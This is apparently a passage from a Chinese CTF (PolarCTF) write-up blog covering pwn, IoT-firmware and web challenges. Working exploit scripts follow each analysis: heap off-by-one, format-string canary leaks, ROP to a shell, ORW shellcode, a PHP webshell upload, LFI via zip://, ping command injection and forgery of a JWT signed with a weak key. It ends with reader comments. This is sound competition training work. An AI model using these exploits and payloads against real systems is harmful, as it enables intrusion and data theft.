  *a1 = 0; // 漏洞点:Off-By-One Null Byte 覆盖
  return 0;
}

当调用 change_author_name 执行 input_BUG(g_lib, 32) 时,如果输入正好 32 个字节,for 循环会在 i == 32 时 break。随后执行 *a1 = 0;,将一个空字节 x00 写到了 g_lib[32] 的位置。

而在程序的 BSS 段中,g_lib(全局作者名,长32字节)紧挨着存放 Book 结构体指针的数组。因此,g_lib[32] 正好是 book[0] 指针的最低字节(LSB)。

堆布局

create_a_book函数中,程序使用了特殊的内存分配

ptr = (char *)aligned_alloc(256, 256); // 256字节对齐
s = (__int64 *)(ptr + 128); // Book 结构体放在堆块偏移 0x80 处

因为 256 字节对齐,ptr 的地址末尾必然是 0x00。Book 结构体 s 的地址末尾必然是 0x80。
结合前面的 Off-By-One 漏洞,当我们把 book[0] 指针的最低字节从 0x80 覆盖为 0x00 时,book[0] 的指针会向前偏移 128 字节,完美指向我们可控的 ptr(Book 描述信息缓冲区)

思路

伪造结构体:创建一个 Book (id=1),在其 description 区域写入伪造的 Book 结构体。将 fake book 的 name 指针指向 puts@got(用于泄露),description 指针指向 0x404018(即 polar_review_cb 函数指针的存放地址)

触发漏洞并布署参数:使用 change_author_name 输入 /bin/shx00 填充至 32 字节。这不仅在 g_lib 中布置了 system 的参数,还触发了 Off-By-One 将 book[0] 指针篡改,使其指向我们伪造的结构体

泄露 Libc:调用 print_book_detail,程序会打印出伪造的 name(即 puts@got 的真实地址),计算得出 libc 基址

劫持执行流:调用 edit_a_book 修改 id 为 1 的书。此时会向 0x404018(polar_review_cb)写入数据。我们将其覆写为 system 的地址(同时补上 _IO_2_1_stdout_ 防止程序后续 crash)

Get Shell:调用 submit_polar_review,程序会执行 polar_review_cb(g_lib),实际执行的是 system("/bin/sh")

exp.py

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.os = 'linux'

elf = ELF('./bllhl_book')
libc = ELF('./libc.so.6')
p = remote('1.95.7.68', 2075)

def send_author(name):
    p.sendafter(b'name: n', name)

def create_book(name_sz, name, desc_sz, desc):
    p.sendlineafter(b'> n', b'1')
    p.sendlineafter(b'size: n', str(name_sz).encode())
    p.sendlineafter(b'chars): n', name)
    p.sendlineafter(b'size: n', str(desc_sz).encode())
    p.sendlineafter(b'description: n', desc)

def change_author(name):
    p.sendlineafter(b'> n', b'5')
    p.sendafter(b'name: n', name)

def print_books():
    p.sendlineafter(b'> n', b'4')

def edit_book(book_id, desc):
    p.sendlineafter(b'> n', b'3')
    p.sendlineafter(b'edit: n', str(book_id).encode())
    p.sendlineafter(b'description: n', desc)

def submit_review():
    p.sendlineafter(b'> n', b'6')

send_author(b'An')

fake_struct = flat([
    1,                  
    elf.got['puts'],    
    0x404018,           
    0x20                
])
create_book(16, b'dummy', 0x70, fake_struct)

payload = b'/bin/shx00'.ljust(32, b'A') + b'n'
change_author(payload)

print_books()
p.recvuntil(b'ID: 1nName: ')
puts_leak = u64(p.recvline(keepends=False).ljust(8, b'x00'))
libc.address = puts_leak - libc.sym['puts']

system_addr = libc.sym['system']
stdout_addr = libc.sym['_IO_2_1_stdout_']

edit_payload = flat([
    system_addr,
    stdout_addr
])
edit_book(1, edit_payload)

submit_review()

p.interactive()
flag{01de9a9b-dfa4-4f78-a5e2-18f9b98e769a}

bllhl_canary++

格式化字符串漏洞、栈溢出、双重Canary机制绕过,ret2libc

漏洞函数challenge()函数

1.格式化字符串:
代码执行 read(0, buf, 0x7Fu) 后直接调用 printf(buf),未对输入做格式化处理。利用此漏洞可计算偏移,泄露栈上的 Custom Canary (v6)、随机数种子 Seed (v7)、原生 Canary (v8) 以及 Libc 返回地址
2.栈溢出:
代码执行 read(0, v5, 0x200u),向大小仅 96 字节的 v5 写入 0x200 字节,存在栈溢出

绕过:
程序在检测阶段执行 v1 != custom_canary_for(v5, v7)。深入汇编发现 custom_canary_for 函数末尾的 mov al, 0 仅仅清空了最低位的1个字节,rax 高56位依然是随机乱码。因此如果直接溢出覆盖栈空间,会破坏 v6 和 v7 导致校验失败。必须通过格式化字符串把 v6、v7 和原生 Canary 全部泄露,并在溢出覆盖时原样写回到对应的栈偏移处,随后布置ROP链拿Shell

exp.py

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

exe = ELF('./pwn1')
libc = ELF('./libc.so.6')
p = remote('1.95.7.68', 2134)

payload1 = b"%38$p|%39$p|%41$p|%49$p"
p.recvuntil(b"[stage1] format string leak:n")
p.send(payload1)
p.recvuntil(b"[echo] ")

leaks = p.recvline().strip().decode().split('|')

def parse_leak(val):
    if val == '(nil)':
        return 0
    return int(val, 16)

v6 = parse_leak(leaks[0])
v7 = parse_leak(leaks[1])
canary = parse_leak(leaks[2])
libc_leak = parse_leak(leaks[3])

offset = libc.sym['__libc_start_main'] + 128
if hex(libc_leak - offset)[-3:] != '000':
    if hex(libc_leak).endswith('d90'):
        offset = 0x29d90
    elif hex(libc_leak).endswith('083') or hex(libc_leak).endswith('0b3'):
        offset = 0x24083
    elif hex(libc_leak).endswith('c87'):
        offset = 0x21c87

libc.address = libc_leak - offset

pop_rdi = next(libc.search(b'x5fxc3'))
ret = pop_rdi + 1
system = libc.sym['system']
bin_sh = next(libc.search(b'/bin/shx00'))

padding_v5 = b'A' * 96

rop_chain = [
    padding_v5,
    p64(v6),
    p64(v7),
    p64(0),
    p64(canary),
    p64(0),
    p64(0),
    p64(0xdeadbeef),
    p64(ret),
    p64(pop_rdi),
    p64(bin_sh),
    p64(system)
]

payload2 = b''.join(rop_chain)

p.recvuntil(b"[stage2] overflow now:n")
p.send(payload2)

p.interactive()
flag{b3d45cae-a8bd-46b6-a2b6-bbcef2653d1b}

where_sh

漏洞vuln函数

unsigned int vuln()
{
  char buf[80]; // [esp+Ch] [ebp-5Ch] BYREF
  unsigned int v2; // [esp+5Ch] [ebp-Ch]
  v2 = __readgsdword(0x14u);
  puts("Welcome to the challenge!");
  read(0, buf, 0x100u);
  printf(buf);  // 漏洞1:格式化字符串漏洞
  gets(buf);    // 漏洞2:栈溢出漏洞
  return __readgsdword(0x14u) ^ v2;
}

backdoor函数

假的,远程没有名为 “1” 的文件,无法直接拿shell

解析

格式化字符串泄露 Canary: 程序存在 printf(buf),由于开启了 Canary 栈保护,可以通过 %27$p 泄露栈上的 Canary 值。

栈溢出: gets(buf) 不限制输入长度,可导致栈溢出,利用刚刚泄露的 Canary 修复栈结构后,可劫持返回地址。

ROP链构造: 题目留下的后门函数 system("1") 无法直接利用。但程序中导入了 gets 和 system,我们可以利用栈溢出构造 ROP 链,向 bss 段写入 "/bin/sh",并将其作为参数传给 system。

思路

接收欢迎信息后,发送 %27$p-,截取返回的数据即可得到 Canary。
计算偏移:缓冲区 buf 到 Canary 的距离为 0x5C - 0x0C = 0x50(80字节),再往后 12 字节覆盖 ebp 到达返回地址。
pwntools 自动构建 ROP 链:先调用 gets(bss地址) 接收输入,再调用 system(bss地址) 拿 shell
发送 Payload 触发 ROP 链,输入 /bin/sh 获取交互

exp.py

from pwn import *

context.arch = 'i386'
context.os = 'linux'

elf = ELF('./pwn1')
r = remote('1.95.7.68', 2133)

r.recvuntil(b"Welcome to the challenge!n")
r.sendline(b"%27$p-") 

leak_data = r.recvuntil(b"-")[:-1]
canary = int(leak_data, 16)

rop = ROP(elf)
bss_addr = elf.bss() + 0x100  

rop.gets(bss_addr)
rop.system(bss_addr)

payload = b"A" * 80 + p32(canary) + b"B" * 12 + rop.chain()

r.sendline(payload)
r.sendline(b"/bin/sh")
r.interactive()
flag{e65c093a-0e61-4e73-bba7-49025ee9e323}

one_hundred

32位程序(i386-32-little),开启NX,未开启PIE和Canary,Partial RELRO 意味着 GOT 表可写。

程序在 vuln()和 back()函数中直接使用 printf(buf),存在两处格式化字符串漏洞。

程序逻辑链为 vuln -> back -> door

vuln() 函数

 printf(buf);  // 漏洞点1:存在格式化字符串漏洞

back() 函数

  printf(buf);  // 漏洞点2:格式化字符串漏洞

door() 函数

流程

确认偏移:测试出格式化字符串的偏移量为 4。
第一步 (改写变量):在 vuln() 函数中,利用格式化字符串漏洞将全局变量 n 的值修改为 100,从而绕过 if(n == 100) 的限制,进入下一层 back() 函数。
第二步 (GOT表劫持):在 back() 函数中再次触发漏洞,将 printf 的 GOT 表地址覆写为 system 的 PLT 表地址。
第三步 (GetShell):back() 返回后执行 door() 函数中的 printf("/bin/sh"),由于此时 printf 已经被替换为 system,程序实际执行 system("/bin/sh"),成功获取 Shell。

exp.py

from pwn import *

context.arch = 'i386'
context.os = 'linux'
context.log_level = 'debug'

ip = '1.95.7.68'
port = 2115
binary_name = './pwn1'

elf = ELF(binary_name)

def pwn():
    p = remote(ip, port)
    offset = 4

    p.recvuntil(b"hello hacker!n")
    n_addr = elf.symbols['n']
    payload1 = fmtstr_payload(offset, {n_addr: 100})
    p.send(payload1)

    p.recvuntil(b"NICE")
    printf_got = elf.got['printf']
    system_plt = elf.plt['system']
    payload2 = fmtstr_payload(offset, {printf_got: system_plt})
    p.send(payload2)

    p.interactive()

if __name__ == '__main__':
    pwn()
flag{c9fe0d25-9f8a-47c3-b2d2-4774d44fbf39}

bank

漏洞位于 bank函数中的 printf(buf)。程序直接将用户输入的变量作为 printf 的参数打印,且未对其进行任何格式化控制(没有 %s 等),导致了格式化字符串漏洞。

思路

目标条件: 只要让全局变量 money 的值等于 9999,代码就会自动调用题目预留的后门函数 shell() 获取 /bin/sh。
地址提取: 根据提供的 IDA 汇编代码(第 580 行),全局变量 money 存放在 .bss 段,内存地址为 0x0804A06C。
偏移计算: 汇编中 printf 被调用时,buf 位于 ebp-70h,而第一参数起始位置位于 ebp-84h。二者相距 0x14(20字节),除以 4 得到 5。因此格式化字符串的参数偏移量为 6(5 + 1)。
利用思路: 我们构造 [money地址] + %9995c%6$n。前面地址占 4 字节,后面 %9995c 会打印 9995 个空格字符,刚好凑够 $4 + 9995 = 9999$ 字符。然后通过 %6$n 将当前已输出的字符总数(9999)写入到第 6 个参数指向的地址(也就是我们放在开头的 money 地址)中。

exp.py

from pwn import *

context(arch='i386', os='linux', log_level='error')
io = remote('1.95.7.68', 2093)

io.recvuntil(b"you put:")

payload = p32(0x0804A06C) + b"%9995c%6$n"
io.sendline(payload)

io.sendline(b"cat flag || cat /flag")
print(io.recvall(timeout=3).decode('utf-8', errors='ignore'))
flag{9c96e02f-e594-4bab-92ff-8609f837aab9}

sandbox1

漏洞在 main 函数

程序直接将用户输入读取到栈上的局部变量数组中,并将其强制转换为函数指针直接跳转执行(任意 Shellcode 执行漏洞)。

保护机制分析: 程序在初始化时调用了 sandbox() 函数(通过 seccomp 实现),禁用了 execve(系统调用号11),这意味着无法常规获取 /bin/sh,只能利用被允许的 open(5)、read(3)、write(4) 系统调用。

利用思路: 构造 ORW (Open-Read-Write) 类型的 Shellcode,使其按顺序执行:打开 /flag -> 读入内存 -> 打印到屏幕。

核心坑点(Stack 覆盖): 由于我们输入的 Shellcode 位于栈顶附近,当 Shellcode 执行 read 操作将 flag 内容写入 esp 时,由于栈向上的生长特性,读取的 flag 数据会覆盖掉正在执行的 Shellcode 本身导致崩溃。因此,必须在 Shellcode 开头加上 sub esp, 0x100 抬高栈顶,开辟一段安全的内存空间。

exp.py

from pwn import *

context(arch='i386', os='linux', log_level='error')

HOST = '1.95.7.68'
PORT = 2138
io = remote(HOST, PORT)

io.recvuntil(b"magic box!")

sc = '''
    sub esp, 0x100
'''
sc += shellcraft.open('/flag')
sc += shellcraft.read('eax', 'esp', 0x100)
sc += shellcraft.write(1, 'esp', 0x100)

shellcode = asm(sc)
io.sendline(shellcode)

result = io.recvall(timeout=3)
print(result.decode('utf-8', errors='ignore'))
flag{6581839d-c39e-4e5e-bcb8-353736f87447}

littlecan

漏洞位于 vuln 函数,包含 格式化字符串漏洞和 栈溢出漏洞。

分析

进入门槛 (main): read(0, buf, 4u) 并在 buf[1] > 102(字符 'f')时调用 vuln()。输入 agxx 即可绕过。
格式化字符串 (vuln): 循环执行两次 read 和 printf(buf)。由于没有格式化控制符,利用第一次循环输入 %31$p 可泄露 Canary。
栈溢出 (vuln): buf 大小为 100,但 read(0, buf, 0x100u) 允许读入 256 字节。
后门: 题目自带 yes() 函数,地址为 0x08048621,内含 system("/bin/sh")。

exp.py

from pwn import *

context(arch='i386', os='linux', log_level='error')
io = remote('1.95.7.68', 2093)

io.recvuntil(b"This is a good start!n")
io.send(b"agxx")

io.send(b"%31$pnx00")
io.recvuntil(b"0x")
canary = int(io.recvline().strip(), 16)

payload = b"A" * 100 + p32(canary) + b"B" * 12 + p32(0x08048621)
io.send(payload)

io.sendline(b"cat flag || cat /flag")
print(io.recvall(timeout=3).decode('utf-8', errors='ignore'))
flag{84949533-0c63-49e1-988b-2a0985d6a2f0}

PloTS

polarble

静态解法

有了固件的完整 Dump,完全不需要硬件板子,可以直接从二进制数据中把 flag 挖出来。

将 1.bin 拖入 010 Editor,搜索文本或浏览特征,在 1:01F0h 处发现明文提示:BLE CTF ready (xor-protected)。明确Flag被异或加密。
在下方 1:02C0h 附近发现一段可疑的十六进制密文:3C 36 3B 3D 21 32 3B 33 20 33 34 33 2D 2F 3E 33 36 3F 27。
已知Flag标准格式为 flag{,用密文前5个字节与明文进行异或推导:
0x3C ^ 0x66 ('f') = 0x5A
0x36 ^ 0x6C ('l') = 0x5A
推导出单字节密钥为 0x5A。
写脚本解密这串十六进制即可。

有点投机取巧了

exp.py

hex_str = "3C 36 3B 3D 21 32 3B 33 20 33 34 33 2D 2F 3E 33 36 3F 27"
enc_bytes = bytes.fromhex(hex_str)
xor_key = 0x5A

flag = "".join(chr(b ^ xor_key) for b in enc_bytes)

print("--- (PolarBLE)  ---")
print(f"[+] 从提取的十六进制解密得到 Flag: {flag}")
print("-" * 35)
flag{haiziniwudile}

实习生flashrom

题目要求提取的是“验证开锁的最终口令”(智能门锁的主密钥Master Key),而不是解开 unlocker.py 工具的密码。

审计 unlocker.py 源码,关注写入固件的 _make_blob() 函数。

该函数构造了一个模拟的文件系统(包含配置文件和shell脚本),其中定义了密钥的拼接逻辑:

PART_A="zhi_ma_"
key_part_b="neng_bu_neng"
PART_C="_kai_men"
MASTER_KEY="${PART_A}${key_part_b}${PART_C}"

拼接提取出的三个字符串,即可得到最终开门flag。

exp.py

part_a = "zhi_ma_"
key_part_b = "neng_bu_neng"
part_c = "_kai_men"

master_key = part_a + key_part_b + part_c
print(f"flag{{{master_key}}}")
flag{zhi_ma_neng_bu_neng_kai_men}

bllbl_xmpp

解题思路:

题目提示将固件烧录到 ESP32 开发板进行实机调试。如果没有硬件板子,可直接采用静态分析。
固件中包含了大量的底层网络协议库(如 lwIP),直接在二进制文件中搜索 flag 会匹配到大量如 pcb->flags 的干扰项代码。
调整思路,搜索 PolarCTF、WIFI 等题目特征相关的明文字符串。
发现固件的 .rodata 数据段中硬编码了一个 Web 控制台的 HTML 页面源码和热点 SSID (PolarCTF_IoT_WIFI)。
提取 PolarCTF 上下文的完整字符串,即可在 HTML 尾部发现真实的 flag。

exp.py

import re

with open("bllbl_xmpp.bin", "rb") as f:
    data = f.read()

for m in re.finditer(b'PolarCTF', data):
    start = max(0, m.start() - 50)
    end = min(len(data), m.end() + 200)
    snippet = data[start:end].decode('ascii', errors='ignore')

    if '</div>' in snippet or '<h2>' in snippet:
        print(snippet)
        print("-" * 60)
flag{polarctf_iot_oo}

wifi钓flag

基本分析:题目提示设备连接 Starbucks_WiFi 并向 /login 提交 pwd。静态分析 client.bin 发现 pwd= 后无明文,且日志存在 Sending encrypted-decoded payload,确认 flag 在内存中动态解密。
逆向定位:使用 IDA Pro (安装 Xtensa 插件) 加载固件。交叉引用 /login 或 pwd= 字符串,定位到发包逻辑函数。
算法还原:在地址 0x400d27a8 处发现核心解密循环。提取关键参数:
密文基址:0x3f414871
密钥基址:0x3f414895,提取值为 k3y42
循环次数(长度):36字节
提取逻辑:分析汇编还原流密码运算逻辑:out[i] = src[i] ^ key[i%5] ^ ((7 + 13 * i) & 0xff)。
解密输出:使用 Python 遍历文件执行解密算法,直接命中并输出明文 Flag。

exp.py

import os

def solve():
    with open('client.bin', 'rb') as f:
        data = f.read()

    key = b'k3y42'

    for offset in range(len(data) - 36):
        src = data[offset:offset+36]
        out = bytearray(36)

        for i in range(36):
            out[i] = src[i] ^ key[i % 5] ^ ((7 + 13 * i) & 0xFF)

        if b'polar{' in out or b'flag{' in out:
            print(out.decode('ascii', errors='ignore'))
            break

if __name__ == '__main__':
    solve()
flag{dasidiu2214bdidsad1234bs98asdb}

混乱的波特率

本题表面是考察串口波特率调试(根据公式 80000000/153456≈52580000000/153456≈525 算出真实波特率为 153456),但实际上这是一道ESP32 固件静态分析题。

文件 1.bin 是完整的 ESP32 flash dump。主程序 app0 分区通常位于偏移 0x10000 处。

加密数据

在固件中搜索 FLAG{ 字符串,观察其前后的十六进制数据结构,发现明显的规律:

FLAG{ 前的 16 字节:18 78 28 1e 39 ...,疑似被异或加密的密钥(Key)。
FLAG{ 后的 16 字节:37 52 08 39 18 ...,即真正的加密 Flag 内容(密文)。

密钥与明文还原

提取真密钥:对 FLAG{ 前的 16 字节进行单字节 XOR 爆破。当异或字节为 0x4b 时,得到完全由可见字符组成的真实密钥:S3cUr3_XOR_key!!。
解密 Flag:将提取到的真实密钥 S3cUr3_XOR_key!! 与 FLAG{ 后面的 16 字节密文进行逐字节 XOR 异或,即可还原出明文 dakljwlj_dlaoskw。

exp.py

with open("1.bin", "rb") as f:
    flash = f.read()

app0 = flash[0x10000:0x150000]
idx = app0.find(b"FLAG{")

enc_key = app0[idx - 16:idx]

xor_byte = None
real_key = None
for k in range(256):
    dec = bytes([x ^ k for x in enc_key])
    if all(32 <= c < 127 for c in dec) and b"key" in dec.lower():
        xor_byte = k
        real_key = dec
        break

enc_flag = app0[idx + 5:idx + 5 + 16]
plain = bytes([a ^ b for a, b in zip(enc_flag, real_key)])

print((b"FLAG{" + plain + b"}").decode())
FLAG{dakljwlj_dlaoskw}

Web

新年贺卡

有源码审计就行

漏洞分析:
审计 index.php 源码,发现存在隐藏的路由 action=admin。通过传参 debug=add_template 可以进入添加模板的分支。
核心漏洞点在于接收 POST 参数 template_name 和 template_content 后,直接调用 TemplateManager::addTemplate($name, $content);。该函数未对内容进行安全过滤,直接将传入的内容保存为 .php 文件。

后续在调用 action=generate 接口生成贺卡时,传入刚写入的恶意模板名称,系统会解析/包含该 PHP 文件,从而触发代码执行。

利用思路:

POST 请求 /?action=admin&debug=add_template,写入包含一句话木马的 PHP 模板文件。
POST 请求 /?action=generate,指定 template 为刚写入的模板名,并传入执行命令的参数获取 flag。

exp.py

import requests
import re
import random
import string

URL = "http://ad3c0e1a-8c41-4865-85d7-17ec765091b7.game.polarctf.com:8090/"

def solve():
    session = requests.Session()
    tpl_name = "hack_" + "".join(random.choices(string.ascii_lowercase + string.digits, k=5))

    php_payload = "<?php echo '---START---'; system($_POST['cmd']); echo '---END---'; die(); ?>"

    add_url = URL.rstrip("/") + "/?action=admin&debug=add_template"
    add_data = {
        "template_name": tpl_name,
        "template_content": php_payload
    }

    try:
        session.post(add_url, data=add_data, timeout=5)
    except Exception:
        pass

    trigger_url = URL.rstrip("/") + "/?action=generate"

    def execute_cmd(command):
        trigger_data = {
            "template": tpl_name,
            "message": "hello",
            "cmd": command
        }
        try:
            r = session.post(trigger_url, data=trigger_data, timeout=5)
            match = re.search(r"---START---(.*?)---END---", r.text, re.DOTALL)
            if match:
                return match.group(1).strip()
            return None
        except Exception:
            return None

    cmds = ["ls -la /", "cat /flag.txt"]

    for cmd in cmds:
        print(f"[*] Executing: {cmd}")
        output = execute_cmd(cmd)
        if output:
            print(output)

if __name__ == "__main__":
    solve()
flag{09328acfbc035a4e69a710f71eab8a5c}

static

php伪协议

强制后缀:代码在结尾会强制拼接 .php ($real_file = $file . ".php";),所以我们最终包含的文件必然是 PHP 文件(在 CTF 中通常就是根目录下的 flag.php)。

前缀要求:最终过滤后的 $file 必须以 static/ 开头。

关键

$ban_keywords = array("eval", "system", "exec", "passthru", "shell_exec", "assert", "../");
foreach ($ban_keywords as $keyword) {
    if (stristr($file, $keyword)) {
        $count = 0;
        $file = str_replace($keyword, "", $file, $count); 
        break; // <--- 致命逻辑漏洞
    }
}

只要匹配到了数组中的任意一个关键字,它就会将其替换为空,然后直接 break 退出整个 foreach 循环!这意味着排在前面的关键字如果被触发,排在后面的过滤规则(比如 ../)就彻底失效了。

测试最终Payload

?file=static/eval../flag
http://3a0ed2d9-3841-4feb-a049-06fda9ae00ba.game.polarctf.com:8090/?file=static/eval../flag
flag{030e77f73a4cb26a111daf0470c3956f}

Pandora_Box

这里随机上传一个图片试试

这里发现其访问是md5加密,点击跳转试试

访问 ?file=upload/xxx.jpg 时,页面底部出现 ****System Error Log****:
Warning: include(upload/xxx.jpg.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 69
可以确定:
存在 LFI:include($_GET['file'] . '.php')
服务器会把 file 参数后面****自动追加**** ****.php****
因此,传入 file=upload/xxx.jpg 时,实际会去包含 upload/xxx.jpg.php,文件不存在导致报错。

zip伪协议

构造一个php结尾的一句话木马

zip压缩后改成jpg结尾

上传

点击跳转并用zip://执行

http://02d36ce2-c4fd-474f-a411-04d61912fec3.www.polarctf.com:8090/?file=zip:///var/www/html/upload/6c90a926b8c167c49c42cc242e711784.jpg%23shell&c=cat%20/flag
flag{47ea7bc31157e1a1a6ca01e26163b726}

The_Gift

解题逻辑:

漏洞点:代码中的 foreach 循环配合 $key = $value; 造成了变量覆盖漏洞,允许我们用外部传入的参数覆盖内部已有的变量。
拿 Flag 条件:最后的 if 语句要求 $config 必须是数组,并且 $config['isAdmin'] === 'true'。但原本的 $config 是一个对象(Object)。
构造覆盖:利用 PHP 接收 URL 参数转换为数组的特性,构造 ?config[isAdmin]=true。
覆盖过程:传入后,$key = $value; 相当于在代码中执行了 $config = ['isAdmin' => 'true'];,直接将对象覆盖为了符合条件的数组。
注意避坑:千万不要传入 user_api_key 参数,否则代码会执行 $config->validateApiKey(),在数组上调用方法会导致 Fatal Error 报错中断,出不来 flag。

最终 Payload:

/?config[isAdmin]=true
flag{0538dfd69d21172b128c29d536b9b31a}

杰尼龟系统

Ping命令注入

发现Ping测试功能点,后端未对IP参数进行过滤,直接拼接执行。
构造Payload利用分号 ; 或管道符 | 执行任意系统命令,如 127.0.0.1; ls -la /。
枚举目录发现根目录的 /flag.txt 为干扰项(假flag)。
深度排查系统文件,定位到真实flag位于 /var/tmp/flag。
读取文件获取最终flag:127.0.0.1; cat /var/tmp/flag (或使用 xxd 读取验证)。

exp.py

import requests
from bs4 import BeautifulSoup

URL = "http://078eb0cf-3f5a-4434-8199-8090631f9335.game.polarctf.com:8090/"

def run(cmd):
    payload = f"127.0.0.1; {cmd}"
    params = {"ip": payload, "ping": ""}

    try:
        r = requests.get(URL, params=params, timeout=10)
        soup = BeautifulSoup(r.text, 'html.parser')
        div = soup.find('div', class_='ping-result')

        if div:
            return div.get_text(strip=True)
        return ""
    except:
        return ""

def main():
    while True:
        cmd = input("$ ")
        if cmd.lower() in ['exit', 'quit']:
            break
        if cmd.strip():
            print(run(cmd))

if __name__ == "__main__":
    main()
flag{459fc13bc7e1265b410fa7eb9e87a63e}

coke的粉丝团

登录上是这个页面

越权强买升10级

注册普通账号登录进入 shop.php。在第52页找到唯一的10级灯牌(card_id=520)。前端提示余额不足按钮变灰,但后端 buy.php 没做余额校验。直接抓包强行POST购买:
card_id=520&level=10&price=6666
发包后无视余额限制,直接升到10级。

爆破并伪造JWT

满10级后出现 coke.php 入口,访问提示只有 admin 才能进。
抓包发现身份鉴权用的是 JWT。拿普通用户的 JWT 去跑弱口令字典,爆出对称密钥为:coke。
将 payload 的 username 改为 admin,重新签名伪造出管理员 Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.nOLz_J3G5VDs3zimRc_EJzRnYxFbWbJkR3SHADwHmhg

带上伪造好的 admin JWT(替换 Cookie 和 X-Jwt-Token),再次访问 coke.php,直接出 flag。

exp.py

import requests
import re
import random
import string

BASE_URL = "http://a185985a-e8f8-4ef0-936f-cbf40c713fc9.game.polarctf.com:8090"

def generate_random_string(length=6):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def main():
    session = requests.Session()
    username = f"user_{generate_random_string()}"
    password = "password123"

    session.post(f"{BASE_URL}/register.php", data={
        "username": username,
        "password": password,
        "confirm_password": password
    })

    session.post(f"{BASE_URL}/login.php", data={
        "username": username,
        "password": password
    })

    session.post(f"{BASE_URL}/buy.php", data={
        "card_id": 520,
        "level": 10,
        "price": 6666
    })

    admin_jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.nOLz_J3G5VDs3zimRc_EJzRnYxFbWbJkR3SHADwHmhg"

    cookies_dict = session.cookies.get_dict()
    cookies_dict['jwt_token'] = admin_jwt 

    cookie_str = "; ".join([f"{k}={v}" for k, v in cookies_dict.items()])

    headers = {
        "Cookie": cookie_str,
        "X-Jwt-Token": admin_jwt
    }

    res = requests.get(f"{BASE_URL}/coke.php", headers=headers)

    flag_match = re.search(r'flag{.*?}', res.text)
    if flag_match:
        print(flag_match.group())
    else:
        print(res.text)

if __name__ == "__main__":
    main()
flag{the_cat_is_coke}

总结

累死了

文末附加内容

评论

  1. keke
    Windows Chrome 146.0.0.0
    23 小时前
    2026-3-22 20:03:59

    就是就是,累死了,嘿嘿misc除了取证全部ak

    • 博主
      keke
      Windows Edge 146.0.0.0
      22 小时前
      2026-3-22 21:08:44

      太强了ヾ(≧∇≦*)ゝ

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇